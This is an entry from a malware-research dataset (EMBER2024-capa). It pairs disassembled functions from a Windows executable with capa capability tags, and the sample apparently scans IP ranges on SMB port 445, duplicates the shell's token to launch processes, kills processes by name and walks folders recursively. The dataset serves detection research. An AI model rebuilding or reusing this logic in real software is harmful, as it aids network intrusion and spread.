joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403735
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.00408f9a
cmp dword [esi + 0x1c], 0xffffffff
mov edi, eax
pop ecx
mov dword [ebp - 8], edi
je 0x403774
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.00408f9a
pop ecx
push eax
push dword [ebp + 8]
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [ebp - 4], eax
cmp dword [esi + 0x18], 0xffffffff
je 0x4037c0
lea eax, [edi + edi + 2]
push eax
call fcn.00408f15
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4037c0
push ebx
push ebx
push dword [ebp - 8]
push edi
push dword [ebp - 8]
push dword [ebp + 8]
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
mov byte [eax + edi], bl
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
and dword [ebp - 4], eax
push edi
call fcn.00408f75
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret

Function at 0x403856
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40389e
push esi
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403897
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x403905
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [esi]
push ebx
push edi
lea eax, [eax + eax + 2]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0x20119
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
xor edi, edi
push dword [ebp + 8]
inc edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40396c
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
je 0x403973
cmp eax, 0xea
je 0x403973
mov dword [ebp - 4], ebx
mov dword [esi], ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret
mov eax, dword [ebp - 8]
shr eax, 1
dec eax
mov dword [ebp - 4], edi
mov dword [esi], eax
jmp 0x403963

Function at 0x403980
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
add eax, eax
push eax
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [edi]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
pop ebp
ret
Function at 0x403a20
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
lea eax, [esi + esi + 2]
push edi
push eax
call fcn.00408f15
pop ecx
push 0
push 0x28
mov dword [ebp - 4], eax
call fcn.0040621b
mov edi, eax
mov eax, dword [ebp - 4]
push edi
push 0x4039ab
push esi
push dword [ebp + 8]
call fcn.00405d96
push edi
mov ebx, eax
call fcn.004038c7
add esp, 0x1c
mov edi, ebx
test ebx, ebx
je 0x403a90
inc esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edi, eax
cmp edi, esi
jbe 0x403a7c
xor edi, edi
test edi, edi
jne 0x403a8f
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00409151
pop ecx
pop ecx
jmp 0x403a90
dec edi
push dword [ebp - 4]
call fcn.00408f75
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403baa
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push esi
push esi
push esi
push 1
push 0x40a3c0
mov dword [ebp - 4], esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x403c32
push ebx
push esi
push esi
push dword [ebp + 8]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x403c2c
push edi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
cmp edi, esi
je 0x403c26
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x403c23
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 4], eax
push edi
call ebx
push dword [ebp - 8]
call ebx
pop edi
push dword [ebp - 0xc]
call ebx
pop ebx
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x403d26
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
and dword [ebp - 4], esi
cmp al, 6
jae 0x403d3f
inc esi
jmp 0x403d86
lea eax, [ebp - 4]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403d77
push 4
pop eax
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0x14
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x403d77
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], 0
je 0x403d86
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x403d8b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.00408e7d
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x38], 0x100
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
leave
ret

Function at 0x404315
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push ebx
push esi
lea eax, [ebp - 0x1c]
xor ebx, ebx
push eax
push 8
mov dword [ebp - 0x18], ebx
xor esi, esi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404418
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push 2
push dword [ebp - 0x1c]
call edi
push dword [ebp - 4]
call fcn.00408f15
pop ecx
mov esi, eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 2
push dword [ebp - 0x1c]
call edi
test eax, eax
je 0x404417
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x404417
xor edi, edi
cmp dword [esi], ebx
jbe 0x404417
lea eax, [esi + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push dword [eax]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x4043d3
add dword [ebp - 0x14], 8
inc edi
cmp edi, dword [esi]
jb 0x4043b6
jmp 0x404417
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x438]
push eax
mov dword [ebp - 4], 0x104
push dword [esi + edi*8 + 4]
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
jne 0x404410
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x534
jne 0x404417
mov dword [ebp - 0x18], 1
pop edi
cmp dword [ebp - 8], ebx
je 0x404426
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp esi, ebx
je 0x404431
push esi
call fcn.00408f75
pop ecx
mov eax, dword [ebp - 0x18]
pop esi
pop ebx
leave
ret
Function at 0x40478b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
xor esi, esi
push 0x20a
mov dword [ebp - 4], esi
call fcn.00408f15
pop ecx
push 0x40
mov ebx, eax
lea eax, [ebp - 0x5c]
push esi
push eax
mov dword [ebp - 0x60], esi
call fcn.00408e7d
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push esi
push eax
call fcn.00403c38
pop ecx
pop ecx
cmp ebx, esi
je 0x404812
push ebx
call fcn.004059e2
pop ecx
test eax, eax
je 0x404812
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push ebx
push esi
mov dword [ebp - 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x404812
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
push 1
push dword [ebp - 8]
call fcn.00403c38
pop ecx
pop ecx
cmp ebx, esi
je 0x404829
push ebx
call fcn.00408f75
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404831
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
push 0x15
mov ebx, eax
call fcn.0040621b
push 0x20a
mov edi, eax
call fcn.00408f15
add esp, 0xc
mov esi, eax
cmp bl, 6
jb 0x4048a6
call fcn.00404315
test eax, eax
je 0x4048a6
lea eax, [ebp - 8]
push 0
push eax
call fcn.00403c38
pop ecx
pop ecx
test edi, edi
je 0x40489a
test esi, esi
je 0x40489a
push esi
call fcn.004059e2
pop ecx
test eax, eax
je 0x40489a
push edi
push esi
call fcn.00403d8b
pop ecx
pop ecx
mov dword [ebp - 4], eax
push 1
push dword [ebp - 8]
call fcn.00403c38
pop ecx
pop ecx
test esi, esi
je 0x4048b1
push esi
call fcn.00408f75
pop ecx
push edi
call fcn.004038c7
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4048c0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
xor esi, esi
push 0x27
mov dword [ebp - 0x18], esi
call fcn.0040621b
mov edi, eax
push edi
mov dword [ebp - 0x20], edi
call fcn.00408f89
add esp, 0xc
push 0x20a
lea ebx, [eax + edi + 1]
call fcn.00408f15
pop ecx
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x40
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x8c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x90], esi
call fcn.00408e7d
xor eax, eax
mov dword [ebp - 0x38], esi
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x44], esi
lea edi, [ebp - 0x40]
stosd dword es:[edi], eax
add esp, 0xc
cmp byte [ebp - 0x14], 6
stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jb 0x404a27
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00403c38
pop ecx
pop ecx
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
cmp eax, esi
je 0x404a11
cmp dword [ebp - 4], esi
je 0x404a11
push dword [ebp - 4]
call fcn.004059e2
pop ecx
test eax, eax
je 0x404a11
call dword [sym.imp.USER32.dll_GetShellWindow]
cmp eax, esi
je 0x404a11
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x404a11
push dword [ebp - 0x1c]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x404a11
lea ecx, [ebp - 0xc]
push ecx
mov ebx, 0x2000000
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404a11
lea eax, [ebp - 8]
push eax
push 1
push 2
lea eax, [ebp - 0x44]
push eax
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x44], 0xc
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x404a11
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x90]
push eax
push esi
push esi
push esi
push esi
push dword [ebp - 4]
push esi
push dword [ebp - 8]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push 1
push dword [ebp - 0x28]
call fcn.00403c38
pop ecx
pop ecx
cmp dword [ebp - 0x10], esi
je 0x404a27
push dword [ebp - 0x10]
call edi
cmp dword [ebp - 0x38], esi
je 0x404a31
push dword [ebp - 0x38]
call edi
cmp dword [ebp - 0x34], esi
je 0x404a3b
push dword [ebp - 0x34]
call edi
cmp dword [ebp - 0xc], esi
je 0x404a45
push dword [ebp - 0xc]
call edi
cmp dword [ebp - 8], esi
je 0x404a4f
push dword [ebp - 8]
call edi
cmp dword [ebp - 4], esi
je 0x404a5d
push dword [ebp - 4]
call fcn.00408f75
pop ecx
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call fcn.004038a4
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404c55
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], esi
call fcn.004091e3
pop ecx
cmp eax, esi
je 0x404ca5
push edi
push esi
push esi
push eax
push 0x404a72
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x404ca4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x404c9d
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x404cdb
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 8], eax
cmp eax, edi
je 0x404d8c
push esi
mov esi, 0x22c
push esi
lea eax, [ebp - 0x234]
push edi
push eax
call fcn.00408e7d
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 8]
mov dword [ebp - 0x234], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x404d86
push ebx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.004035fe
pop ecx
test eax, eax
js 0x404d71
push dword [ebp - 0x22c]
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x404d6e
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov ebx, eax
call edi
add dword [ebp - 4], ebx
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x404d36
pop ebx
push dword [ebp - 8]
call edi
pop esi
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x404d92
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push edi
xor ebx, ebx
call fcn.00403b67
push ebx
push 0x19
mov edi, eax
call fcn.0040621b
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x40], eax
push 8
mov eax, edi
pop edx
lea edi, [ebp - 0x20]
mov dword [ebp - 0x4c], 0x40a20c
mov dword [ebp - 0x44], str.ELVL
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [esi], ebx
call fcn.0040591a
movzx eax, byte [ebp + 8]
push 8
pop edx
lea edi, [ebp - 0x34]
call fcn.0040591a
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0xc]
call fcn.00405ebb
mov edi, eax
add esp, 0x10
mov dword [ebp + 8], edi
cmp edi, ebx
je 0x404e3a
push edi
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [esi], eax
cmp eax, ebx
jne 0x404e26
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi], eax
cmp eax, ebx
je 0x404e4d
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
neg edi
sbb edi, edi
inc edi
jne 0x404e4f
jmp 0x404e3c
mov edi, ebx
mov eax, dword [esi]
cmp eax, ebx
je 0x404e4f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], ebx
jmp 0x404e4f
mov edi, ebx
push dword [ebp - 0xc]
call fcn.004038c7
pop ecx
push dword [ebp + 8]
call fcn.004038c7
pop ecx
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x404e96
Capabilities:
Check for time delay via gettickcount
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0x2710
call edi
mov dword [ebp - 0xc], eax
call edi
mov ebx, 0x3e8
jmp 0x404f41
mov eax, 0x200
push 0x40
pop ecx
sub eax, esi
mov dword [ebp - 0x11c], ecx
cmp eax, ecx
ja 0x404edf
mov dword [ebp - 0x11c], eax
push dword [ebp - 0x11c]
mov eax, dword [ebp + 8]
lea eax, [eax + esi*4]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00408eab
add esi, dword [ebp - 0x11c]
push 0x104
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00408eab
add esp, 0x18
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
xor ecx, ecx
test eax, eax
setg cl
or dword [ebp - 8], ecx
call edi
sub eax, dword [ebp - 0xc]
cmp eax, ebx
jb 0x404ec5
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404f54
Capabilities:
Connect socket
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 2
lea ebx, [esi + eax]
pop eax
push 0x1bd
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x38], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x36], ax
xor eax, eax
mov byte [ebp - 0x34], 0
lea edi, [ebp - 0x33]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 4
mov edi, 0x200
push edi
call fcn.00408f2f
push 4
push edi
mov dword [ebp - 0xc], eax
call fcn.00408f2f
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp esi, ebx
jae 0x405106
xor ebx, ebx
cmp esi, dword [ebp - 0x14]
jae 0x405106
cmp ebx, edi
jae 0x405026
push dword [ebp + 8]
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.WS2_32.dll_htonl]
inc dword [ebp + 8]
push 6
push esi
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
test esi, esi
je 0x40501e
lea eax, [ebp - 0x20]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x40501e
push 0x10
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x405017
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40501e
mov eax, dword [ebp - 0xc]
mov dword [eax + ebx*4], esi
inc ebx
mov eax, dword [ebp - 0x14]
cmp dword [ebp + 8], eax
jb 0x404fbb
test ebx, ebx
je 0x4050fa
push dword [ebp - 0xc]
call fcn.00404e96
and dword [ebp - 8], 0
pop ecx
mov eax, dword [ebp - 0xc]
dec ebx
lea esi, [eax + ebx*4]
cmp dword [esi], 0
mov dword [ebp - 0x1c], ebx
je 0x4050ce
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x1007
push 0xffff
mov dword [ebp - 0x24], 4
push dword [esi]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x4050ce
cmp dword [ebp - 0x10], eax
jne 0x4050ce
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x405098
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x10], eax
test ebx, ebx
je 0x4050a5
cmp dword [ebp - 0x10], 0x2733
jne 0x4050cb
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x28], 0x10
push dword [esi]
call dword [sym.imp.WS2_32.dll_getpeername]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x18]
inc dword [ebp - 8]
mov dword [ecx + edx*4], eax
mov ebx, dword [ebp - 0x1c]
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
test ebx, ebx
jne 0x40503b
jmp 0x4050f4
push dword [ebp + 0xc]
dec dword [ebp - 8]
push dword [ebp - 0x44]
call fcn.00401f7b
pop ecx
pop ecx
test eax, eax
je 0x405106
cmp dword [ebp - 8], 0
jne 0x4050e0
mov esi, dword [ebp + 8]
cmp esi, dword [ebp - 0x14]
jb 0x404fb0
push dword [ebp - 0xc]
call fcn.00408f75
pop ecx
push dword [ebp - 0x18]
call fcn.00408f75
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405714
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push 0x18
mov edi, eax
mov dword [ebp - 4], ebx
call fcn.00408f15
mov esi, eax
movzx eax, word [edi]
pop ecx
cmp ax, bx
je 0x4057fc
push 0x20
pop ecx
cmp cx, ax
jne 0x40574b
add edi, 2
movzx eax, word [edi]
cmp ax, bx
jne 0x405738
cmp word [edi], bx
je 0x4057fc
push edi
call fcn.004091b5
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4057fc
push edi
call fcn.00408f9a
pop ecx
lea eax, [edi + eax*2 - 2]
jmp 0x40578d
movzx ecx, word [eax]
push 0x20
pop edx
cmp dx, cx
je 0x405785
push 0x5c
pop edx
cmp dx, cx
jne 0x405791
xor ecx, ecx
mov word [eax], cx
sub eax, 2
cmp eax, edi
ja 0x405772
cmp esi, ebx
je 0x4057f5
mov eax, dword [ebp + 8]
mov dword [esi + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esi], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x10], edi
mov edi, dword [ebp + 0x18]
mov dword [esi + 0xc], eax
mov eax, edi
mov dword [esi + 0x14], edi
call fcn.00405263
push ebx
push ebx
push esi
push 0x4055a0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x4057fc
mov eax, edi
call fcn.004052d2
push dword [esi + 4]
call fcn.004084ef
push dword [esi + 0x10]
call fcn.00408f75
push esi
call fcn.00408f75
add esp, 0xc
jmp 0x4057fc
push edi
call fcn.00408f75
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405c35
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
and dword [ebp - 8], 0
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0x405d8e
push dword [ebp + 8]
call fcn.00408f9a
pop ecx
lea ecx, [eax + 2]
mov eax, dword [ebp + 0x14]
cmp eax, ecx
jb 0x405d8e
lea eax, [eax + eax + 2]
push eax
call fcn.00408f15
mov esi, eax
pop ecx
test esi, esi
je 0x405d8e
push dword [ebp + 8]
push esi
call fcn.00409151
push 0x40a414
push esi
call fcn.00409188
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x405d87
mov edi, dword [ebp + 0x18]
cmp word [ebp - 0x230], 0x2e
jne 0x405cdf
cmp word [ebp - 0x22e], 0
je 0x405d66
cmp word [ebp - 0x22e], 0x2e
jne 0x405cdf
cmp word [ebp - 0x22c], 0
je 0x405d66
push dword [ebp + 8]
call fcn.00408f9a
mov ebx, eax
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.00408f9a
lea eax, [ebx + eax + 1]
pop ecx
cmp dword [ebp + 0x14], eax
jb 0x405d66
push dword [ebp + 8]
push esi
call fcn.00409151
push 0x40a208
push esi
call fcn.00409188
lea eax, [ebp - 0x230]
push eax
push esi
call fcn.00409188
push dword [ebp + 0x10]
lea eax, [ebp - 0x25c]
push eax
push esi
push dword [ebp + 8]
call dword [ebp + 0xc]
add esp, 0x28
test eax, eax
je 0x405d66
js 0x405d7e
test edi, edi
je 0x405d63
test byte [ebp - 0x25c], 0x10
je 0x405d63
lea eax, [edi - 1]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00405c35
add esp, 0x14
add dword [ebp - 8], eax
jmp 0x405d66
inc dword [ebp - 8]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405caf
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call fcn.00408f75
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret